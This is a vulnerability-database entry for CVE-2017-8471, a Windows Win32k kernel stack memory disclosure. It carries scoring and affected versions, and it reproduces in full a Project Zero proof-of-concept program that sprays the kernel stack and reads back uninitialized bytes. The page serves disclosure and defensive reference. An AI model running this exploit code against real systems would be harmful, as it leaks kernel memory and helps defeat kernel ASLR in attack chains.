CVE-2017-8471

medium
Published 2017-06-15 ยท Modified 2026-05-13
CVSS v3
5.0
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.0

Description

Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8472, CVE-2017-8473, CVE-2017-8475, CVE-2017-8477, and CVE-2017-8484.

Predictions

Exploit likelihood
50%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42224 dos windows verified text ยท 5 KB
Google Security Research ยท 2017-06-22

Microsoft Windows - 'win32k!NtGdiGetOutlineTextMetricsInternalW' Kernel Stack Memory Disclosure

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1179

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7-10 through the win32k!NtGdiGetOutlineTextMetricsInternalW system call.

The system call returns an 8-byte structure back to ring-3 through the 4th parameter, as evidenced by the following assembly code (win32k.sys from Windows 7 32-bit):

--- cut ---
.text:BF87364A                 mov     edx, [ebp+arg_C]
.text:BF87364D                 lea     ecx, [edx+8]
.text:BF873650                 mov     eax, _W32UserProbeAddress
.text:BF873655                 cmp     ecx, eax
.text:BF873657                 ja      short loc_BF873662
.text:BF873659                 cmp     ecx, edx
.text:BF87365B                 jbe     short loc_BF873662
.text:BF87365D                 test    dl, 3
.text:BF873660                 jz      short loc_BF873665
.text:BF873662
.text:BF873662 loc_BF873662:
.text:BF873662                 mov     byte ptr [eax], 0
.text:BF873665
.text:BF873665 loc_BF873665:
.text:BF873665                 lea     esi, [ebp+var_24]
.text:BF873668                 mov     edi, edx
.text:BF87366A                 movsd
.text:BF87366B                 movsd
--- cut ---

However, according to our experiments, only the first 4 bytes of the source structure (placed on the kernel stack) are initialized under normal circumstances, while the other 4 bytes are set to leftover data. In order to demonstrate the issue, we have created a proof-of-concept program which sprays 1024 bytes of the kernel stack with a 0x41 ('A') byte directly prior to triggering the vulnerability, with the help of the win32k!NtGdiEngCreatePalette system call. Then, the DWORD leaked via the discussed vulnerability is indeed equal to 0x41414141, as evidenced by the PoC output:

--- cut ---
C:\>NtGdiGetOutlineTextMetricsInternalW_stack.exe
Data read: 41414141
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

// Own implementation of memset(), which guarantees no data is spilled on the local stack.
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiGetOutlineTextMetricsInternalW = 0x10c6;

  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Create a TrueType font.
  HFONT hfont = CreateFont(10,                  // nHeight
                           10,                  // nWidth
                           0,                   // nEscapement
                           0,                   // nOrientation
                           FW_DONTCARE,         // fnWeight
                           FALSE,               // fdwItalic
                           FALSE,               // fdwUnderline
                           FALSE,               // fdwStrikeOut
                           ANSI_CHARSET,        // fdwCharSet
                           OUT_DEFAULT_PRECIS,  // fdwOutputPrecision
                           CLIP_DEFAULT_PRECIS, // fdwClipPrecision
                           DEFAULT_QUALITY,     // fdwQuality
                           FF_DONTCARE,         // fdwPitchAndFamily
                           L"Times New Roman");

  // Select the font into the DC.
  SelectObject(hdc, hfont);

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Read the 4 uninitialized kernel stack bytes and print them on screen.
  DWORD output[2] = { /* zero padding */ };
  if (!SystemCall32(__NR_NtGdiGetOutlineTextMetricsInternalW, hdc, 0, NULL, output)) {
    printf("NtGdiGetOutlineTextMetricsInternalW failed\n");
    DeleteObject(hfont);
    DeleteDC(hdc);
    return 1;
  }

  printf("Data read: %x\n", output[1]);

  // Free resources.
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}

OS impact

windows Windows Affected 5 releases
VersionStatusFixed in
r2 Affected โ€”
1703 Affected โ€”
1607 Affected โ€”
1511 Affected โ€”
- Affected โ€”

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.